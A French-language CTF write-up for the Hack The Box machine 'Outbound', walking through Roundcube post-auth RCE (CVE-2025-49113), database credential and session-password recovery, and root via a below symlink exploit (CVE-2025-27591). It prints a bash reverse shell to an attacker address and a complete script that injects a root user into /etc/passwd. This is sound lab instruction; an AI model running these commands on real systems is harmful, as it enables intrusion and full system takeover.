Introduction
La machine Outbound de Hack The Box, classée HTB Easy, propose un walkthrough centré sur Roundcube Webmail, la récupération d’identifiants, la réutilisation de credentials en SSH et une escalade de privilèges Linux via sudo et below.
L’énumération initiale expose essentiellement SSH et HTTP. La page web principale redirige vers mail.outbound.htb, où une instance Roundcube Webmail 1.6.10 devient le point d’entrée du challenge.
Le chemin d’exploitation suit une progression logique : utilisation des identifiants fournis par Hack The Box, exploitation d’une RCE post-authentification sur Roundcube, récupération de la configuration applicative, exploration de la base MariaDB, déchiffrement d’un mot de passe de session, lecture des mails de jacob, puis connexion SSH avec un mot de passe plus récent.
La dernière partie montre comment une règle sudo trop permissive autour de below permet d’obtenir un shell root et de terminer la machine.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.
Avant de lancer les scans, vérifie que le nom d’hôte outbound.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x outbound.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap outbound.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/outbound/full_tcp_scan.txt outbound.htb
Nmap scan report for outbound.htb (10.129.x.x)
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.22 seconds
Scan FTP/SMB (si services détectés)
Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : outbound.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour outbound.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "outbound.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/outbound/aggressive_vuln_scan_raw.txt outbound.htb
Nmap scan report for outbound.htb (10.129.x.x)
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 58.80 ms 10.10.x.1
2 7.20 ms outbound.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 14.92 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/outbound/cms_vuln_scan.txt outbound.htb
Nmap scan report for outbound.htb (10.129.x.x)
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-sitemap-generator:
| Directory structure:
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_
| http-headers:
| Server: nginx/1.24.0 (Ubuntu)
| Date: [date]
| Content-Type: text/html
| Content-Length: 154
| Connection: close
| Location: http://mail.outbound.htb/
|
|_ (Request type: GET)
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 36.80 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/outbound/udp_vuln_scan.txt outbound.htb
Nmap scan report for outbound.htb (10.129.x.x)
Host is up (0.016s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 7.61 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb
mon-recoweb outbound.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, sans parcourir l’ensemble des logs générés.
Dans ce cas précis, le serveur retourne une réponse de taille 154 pour les chemins inexistants.
Il est donc nécessaire de filtrer ces faux positifs avec l’option suivante :
--fs 154
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : outbound.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://outbound.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/outbound.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://outbound.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -fs 154 -of json -o scans_recoweb/outbound.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/outbound.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://outbound.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -fs 154 -of json -o scans_recoweb/outbound.htb/ffuf_files.json 2>&1 | tee scans_recoweb/outbound.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
=== Détails par outil ===
[DIRB]
[FFUF — DIRECTORIES]
[FFUF — FILES]
Recherche de vhosts
Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .
=== mon-subdomains outbound.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : outbound.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=302 size=154 words=10 (Host=qcj6rzblhl.outbound.htb)
Baseline#2: code=302 size=154 words=10 (Host=5dbiggej78.outbound.htb)
Baseline#3: code=302 size=154 words=10 (Host=c8k2j3wc2r.outbound.htb)
After-redirect#1: code=200 size=5327 words=333
After-redirect#2: code=200 size=5327 words=333
After-redirect#3: code=200 size=5327 words=333
VHOST (0)
- (aucun)
=== mon-subdomains outbound.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
Lorsque tu accèdes à http://outbound.htb/, tu es automatiquement redirigé vers http://mail.outbound.htb/ et tu tombes sur l’interface de connexion de Roundcube Webmail.
L’objectif consiste maintenant à identifier précisément la version utilisée afin de rechercher une vulnérabilité exploitable permettant d’obtenir un accès initial.
Identification du webmail Roundcube
Hack The Box fournit des identifiants initiaux dans la section Machine Information.

Tu peux donc te connecter à l’interface Roundcube avec le compte suivant :
tyler : LhKL1o9Nm3X2

Une fois connecté avec le compte tyler, tu peux accéder aux informations de version via le menu About disponible en bas à gauche du dashboard.


La fenêtre About permet d’identifier précisément la version utilisée par le webmail :
Roundcube Webmail 1.6.10
L’analyse de cette version permet d’identifier la vulnérabilité CVE-2025-49113, décrite comme :
A critical post-authentication Remote Code Execution vulnerability
Cette faille permet à un utilisateur authentifié d’obtenir une exécution de code à distance sur le serveur hébergeant Roundcube.
Comme Hack The Box fournit déjà des identifiants valides, cette vulnérabilité devient immédiatement exploitable.
Exploitation de CVE-2025-49113
Un exploit public est disponible pour CVE-2025-49113 sur le dépôt GitHub suivant :
https://github.com/fearsoff-org/CVE-2025-49113
Tu commences donc par récupérer le PoC sur ta machine Kali :
git clone https://github.com/fearsoff-org/CVE-2025-49113.git
cd CVE-2025-49113
Avant d’utiliser le PoC, tu peux commencer par afficher son aide afin de vérifier les paramètres attendus :
php CVE-2025-49113.php
Le script affiche alors l’usage suivant :
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Usage: php CVE-2025-49113.php <target_url> <username> <password> <command>
Le PoC nécessite simplement :
- l’URL cible
- des identifiants Roundcube valides
- et la commande à exécuter sur le serveur
Tu peux alors tester l’exécution de commandes sur le serveur avec une commande système simple comme id :
php CVE-2025-49113.php \
http://mail.outbound.htb \
tyler \
'LhKL1o9Nm3X2' \
'id'
Le script semble s’exécuter correctement, mais aucun résultat de commande n’est renvoyé directement dans le terminal.
Tu testes ensuite plusieurs méthodes classiques pour confirmer l’exécution de code à distance, notamment avec un ping vers ta machine Kali, mais sans succès.
Comme l’exploit ne renvoie pas directement la sortie des commandes exécutées, le plus simple consiste alors à tenter l’obtention d’un reverse shell.
Obtention d’un reverse shell
Depuis ta machine Kali, tu prépares un listener avec rlwrap afin d’obtenir un shell plus confortable et plus stable qu’avec un simple listener nc :
rlwrap -cAr nc -lvnp 4444
Tu utilises ensuite le PoC pour exécuter un reverse shell Bash vers ta machine Kali :
php CVE-2025-49113.php \
http://mail.outbound.htb \
tyler \
'LhKL1o9Nm3X2' \
'bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"'
Le listener reçoit alors une connexion entrante et tu obtiens un shell en tant que :
www-data
Stabilisation du shell
Après réception du reverse shell, tu constates que python3 n’est pas disponible sur la cible.
Comme expliqué dans la recette « Stabiliser un Reverse Shell Bash »
, script constitue une bonne alternative lorsque python3 n’est pas disponible sur la cible.
which script
La commande retourne :
/usr/bin/script
Tu peux donc utiliser script pour stabiliser le reverse shell :
script -qc /bin/bash /dev/null
Depuis ton terminal Kali, mets le shell en arrière-plan :
Ctrl + Z
Puis configure correctement le TTY local :
stty raw -echo; fg
Et dans le reverse shell, termine avec :
export TERM=xterm
stty cols 132 rows 34
Tu obtiens alors un terminal interactif beaucoup plus confortable pour poursuivre l’énumération de la machine.
Si l’affichage reste incorrect après la stabilisation, tu peux lancer la commande suivante directement dans le reverse shell distant :
reset
Énumération locale
Une fois le shell stabilisé, tu peux commencer l’énumération locale afin de rechercher des fichiers de configuration, des identifiants réutilisables ou d’autres informations sensibles accessibles à l’utilisateur www-data.
Comme souvent avec les applications PHP, les fichiers de configuration du webmail constituent une piste intéressante, car ils contiennent fréquemment les identifiants de connexion à la base de données.
Tu recherches alors les fichiers de configuration de Roundcube accessibles à l’utilisateur www-data dans l’arborescence du webmail :
find /var/www/html/ -type f -name "config*" 2>/dev/null
La commande retourne plusieurs fichiers .dist, mais aussi le véritable fichier de configuration utilisé par Roundcube :
/var/www/html/roundcube/config/config.inc.php
Tu peux alors consulter son contenu :
cat /var/www/html/roundcube/config/config.inc.php
Le fichier contient notamment les identifiants utilisés par Roundcube pour accéder à la base de données MySQL :
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
Tu récupères également la clé des_key utilisée par Roundcube pour chiffrer certaines données de session :
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
Ces informations deviennent particulièrement intéressantes pour la suite de l’exploitation, car elles permettent d’accéder directement à la base de données du webmail et potentiellement de récupérer des informations sensibles liées aux utilisateurs.
Exploration de la base de données MariaDB de Roundcube
Le fichier config.inc.php indique que Roundcube utilise une base de données MySQL et contient directement les identifiants de connexion associés :
Tu peux alors tenter de te connecter à la base de données avec les identifiants récupérés dans la configuration de Roundcube :
mysql -u roundcube -p
Puis saisir le mot de passe récupéré précédemment :
RCDBPass2025
Une fois connecté, tu peux commencer par lister les bases disponibles :
SHOW DATABASES;
Résultat :
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
Tu sélectionnes ensuite la base utilisée par le webmail :
USE roundcube;
Puis tu listes les tables présentes :
MariaDB [roundcube]> SHOW TABLES;
SHOW TABLES;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
La table users permet bien d’identifier plusieurs comptes utilisés sur le webmail :
SELECT * FROM users;
Résultat :
+---------+----------+
| user_id | username |
+---------+----------+
| 1 | jacob |
| 2 | mel |
| 3 | tyler |
+---------+----------+
En revanche, cette table ne contient aucun mot de passe exploitable.
La présence d’une table session attire particulièrement l’attention.
Dans Roundcube, cette table contient les informations liées aux utilisateurs connectés. On peut parfois y retrouver des données sensibles, comme des tokens ou des mots de passe chiffrés.
Elle constitue donc une piste logique pour rechercher des informations réutilisables sur la machine.
En consultant le contenu brut de la table session, tu remarques rapidement que certaines données semblent encodées en Base64 plutôt que stockées directement en clair.
MariaDB dispose justement d’une fonction FROM_BASE64() permettant de décoder automatiquement ce type de contenu.
Tu peux donc afficher les variables de session décodées avec la requête suivante :
SELECT FROM_BASE64(vars) FROM session;
Le résultat contient alors de nombreuses informations liées aux sessions des utilisateurs connectés, notamment :
username|s:5:"jacob";
mais surtout :
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";
Ce mot de passe semble chiffré plutôt que stocké directement en clair.
Or, le fichier config.inc.php contient justement une clé nommée des_key, utilisée par Roundcube pour protéger certaines données sensibles des utilisateurs.
Il devient alors intéressant de tenter d’utiliser cette clé pour déchiffrer le mot de passe associé à la session de l’utilisateur jacob.
Déchiffrement du mot de passe de jacob
Plusieurs outils publics permettent de déchiffrer les mots de passe stockés dans les sessions Roundcube.
Ici, un outil en ligne suffit pour valider rapidement le déchiffrement du mot de passe récupéré dans la session de jacob :
https://keydecryptor.com/decryption-tools/roundcube
Dans un vrai environnement, il faudrait éviter d’envoyer des secrets applicatifs vers un service externe. Ici, dans le cadre isolé d’un challenge Hack The Box, l’outil en ligne sert uniquement à valider rapidement le mécanisme de déchiffrement.
Tu entres les valeurs suivantes :
encrypted_password="L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
des_key="rcmail-!24ByteDESkey*Str"

Après déchiffrement avec la clé des_key, tu obtiens le mot de passe en clair de l’utilisateur jacob :
595mO8DmwGeD
Tu tentes alors de réutiliser ces identifiants sur le service SSH de la machine :
ssh jacob@outbound.htb
Mais l’authentification échoue.
Comme ces identifiants proviennent directement d’une session Roundcube, tu testes alors leur réutilisation sur l’interface webmail.
Cette fois, la connexion fonctionne et te donne accès à la boîte mail de l’utilisateur jacob.
Lecture des mails de Jacob
L’accès à la boîte mail de jacob permet alors de consulter plusieurs messages potentiellement intéressants pour la suite de l’exploitation.
Un premier message intitulé Unexpected Resource Consumption indique que les administrateurs ont activé l’outil below afin de surveiller la consommation de ressources du serveur.

Même si cette information n’est pas immédiatement exploitable, elle attire l’attention sur la présence potentielle de l’outil below sur la machine.
Un second message intitulé Important Update contient quant à lui un nouveau mot de passe communiqué directement à l’utilisateur jacob.

Un message intitulé Important Update contient un nouveau mot de passe communiqué à l’utilisateur :
gY4Wr3a1evp4
Ce mot de passe semble plus récent que celui récupéré précédemment dans la session Roundcube.
Tu tentes alors de réutiliser ces identifiants sur le service SSH de la machine.
user.txt
La réutilisation des identifiants récupérés dans le mail fonctionne cette fois correctement sur le service SSH :
ssh jacob@outbound.htb
Après authentification, tu obtiens un shell SSH interactif en tant qu’utilisateur jacob :
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
Tu peux alors lire le fichier user.txt et valider la prise pied sur la machine.
jacob@outbound:~$ ls -l
total 4
-rw-r----- 1 root jacob 33 May 22 13:22 user.txt
jacob@outbound:~$ cat user.txt
f922xxxxxxxxxxxxxxxxxxxxxxxx0e36
Escalade de privilèges
Une fois connecté en SSH en tant que jacob, tu disposes d’un premier accès utilisateur sur la machine.
L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.
Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :
- vérification des droits sudo avec
sudo -lafin d’identifier des commandes exécutables avec les privilègesroot - recherche de binaires SUID avec
find / -perm -4000 2>/dev/null(les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souventroot) - analyse des Linux capabilities avec
getcap -r / 2>/dev/nullpython3 suid3num.pyafin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
- inspection des tâches cron avec
cat /etc/crontabafin de repérer d’éventuels scripts ou commandes exécutés automatiquement parroot - analyse des services locaux avec
netstat -tulpnpour identifier d’éventuels services internes accessibles uniquement en local - observation des processus exécutés par
rootavecpspy64(dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement
L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.
Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.
Sudo -l
Une fois connecté en SSH avec l’utilisateur jacob, tu commences par vérifier les droits sudo disponibles :
sudo -l
Le résultat montre que jacob peut exécuter /usr/bin/below avec sudo sans mot de passe :
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below
--config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
Cette règle est intéressante car elle autorise l’exécution de below avec les privilèges root, tout en tentant de bloquer certains modes sensibles comme --config, --debug et -d.
La suite de l’escalade va donc consister à analyser ce binaire et à vérifier s’il existe une faiblesse exploitable dans cette configuration sudo limitée.
Analyse de below
Comme les mails de jacob mentionnent également l’outil below, cette piste mérite d’être approfondie.
Tu commences donc par rechercher tous les fichiers liés à below présents sur le système :
find / -iname "*below*" 2>/dev/null
Cette recherche révèle plusieurs éléments intéressants :
/opt/below
/usr/bin/below
/var/log/below
/etc/systemd/system/below.service
Le répertoire /opt/below attire immédiatement l’attention car il semble contenir les sources complètes du projet plutôt qu’un simple binaire installé.
Tu explores alors son contenu afin de mieux comprendre la structure de l’application :
ls -lah /opt/below
find /opt/below -maxdepth 2 -type f
Tu identifies rapidement plusieurs fichiers typiques d’un projet développé en Rust :
Cargo.toml
Cargo.lock
rustfmt.toml
Note
Rust est un langage de programmation moderne souvent utilisé pour développer des outils système performants et sécurisés. Les projets Rust utilisent généralement un fichier
Cargo.tomlqui contient les informations principales du projet, comme son nom, sa version et ses dépendances.
Comme plusieurs composants semblent présents dans le projet, tu recherches alors tous les fichiers Cargo.toml :
find /opt/below -name "Cargo.toml"
Le résultat montre de nombreux sous-composants Rust :
/opt/below/below/render/Cargo.toml
/opt/below/below/store/Cargo.toml
/opt/below/below/view/Cargo.toml
/opt/below/below/model/Cargo.toml
...
/opt/below/below/Cargo.toml
Cela confirme que /opt/below contient les sources complètes du projet Below ainsi que plusieurs modules internes.
Le fichier intéressant est alors celui situé à la racine du composant principal :
cat /opt/below/below/Cargo.toml
Tu y retrouves les informations du paquet principal :
[package]
name = "below"
version = "0.8.0"
repository = "https://github.com/facebookincubator/below"
Cela permet d’identifier précisément la version installée et de vérifier l’existence d’éventuelles vulnérabilités connues.
Recherche d’une vulnérabilité connue dans below
Après avoir identifié la version 0.8.0 de Below, tu recherches alors d’éventuelles vulnérabilités publiques affectant cette version.
L’analyse des vulnérabilités connues montre que les versions de below inférieures à 0.8.1 sont vulnérables à la CVE-2025-27591, une faille d’escalade de privilèges affectant l’outil.
Une recherche sur CVE-2025-27591 permet ensuite d’identifier un dépôt GitHub contenant un exploit public :

La description du dépôt indique qu’il s’agit d’une vulnérabilité d’escalade de privilèges affectant l’outil de monitoring Below, ce qui correspond précisément au contexte observé sur la machine.
Exploitation de CVE-2025-27591
Tu crées ensuite un script d’exploitation directement sur la machine cible :
cd /dev/shm
nano exploit.sh
Et tu entres le code de l’exploit :
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'haxor' user (password: hacked123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'hacked123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "haxor:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'haxor' using password: hacked123"
su haxor
Après avoir sauvegardé le script, tu le rends exécutable puis tu le lances depuis /dev/shm :
chmod +x exploit.sh
./exploit.sh
L’exploit sauvegarde d’abord /etc/passwd, prépare une nouvelle entrée utilisateur avec les privilèges root, puis détourne le fichier de log error_root.log de below via un lien symbolique afin d’ajouter cette entrée dans /etc/passwd.
jacob@outbound:/dev/shm$ ./exploit.sh
[*] CVE-2025-27591 Privilege Escalation Exploit
[*] Checking sudo permissions...
[*] Backing up /etc/passwd to /tmp/passwd.bak
[*] Generating password hash...
[*] Creating malicious passwd line...
[*] Linking /var/log/below/error_root.log to /etc/passwd
[*] Triggering 'below' to write to symlinked log...
[*] Injecting malicious user into /etc/passwd
[*] Try switching to 'haxor' using password: hacked123
Password:
Le script se termine par un su haxor : il ne reste alors plus qu’à saisir le mot de passe hacked123 pour obtenir un shell root.
haxor@outbound:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
Tu peux alors accéder au répertoire /root et lire le flag final :
haxor@outbound:/dev/shm# cat /root/root.txt
0b38xxxxxxxxxxxxxxxxxxxxxxxxxxxd5df
La machine est maintenant entièrement compromise.
L’accès au fichier root.txt valide l’escalade de privilèges et termine le challenge outbound.htb.
Conclusion
La machine Outbound propose un scénario complet autour de Roundcube Webmail, de la récupération d’identifiants et d’une escalade de privilèges Linux via sudo et below.
La prise pied commence par l’exploitation d’une RCE post-authentification sur Roundcube. Une fois un accès obtenu en tant que www-data, l’exploration de la configuration applicative permet de récupérer les identifiants de la base MariaDB, puis d’analyser les sessions utilisateurs.
Le déchiffrement du mot de passe de session donne accès à la boîte mail de jacob, où un mot de passe plus récent permet finalement d’obtenir une connexion SSH valide.
Enfin, l’énumération des droits sudo révèle que jacob peut exécuter below avec des privilèges élevés. L’exploitation de la vulnérabilité associée permet d’obtenir un shell root, de lire root.txt et de terminer le challenge CTF.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
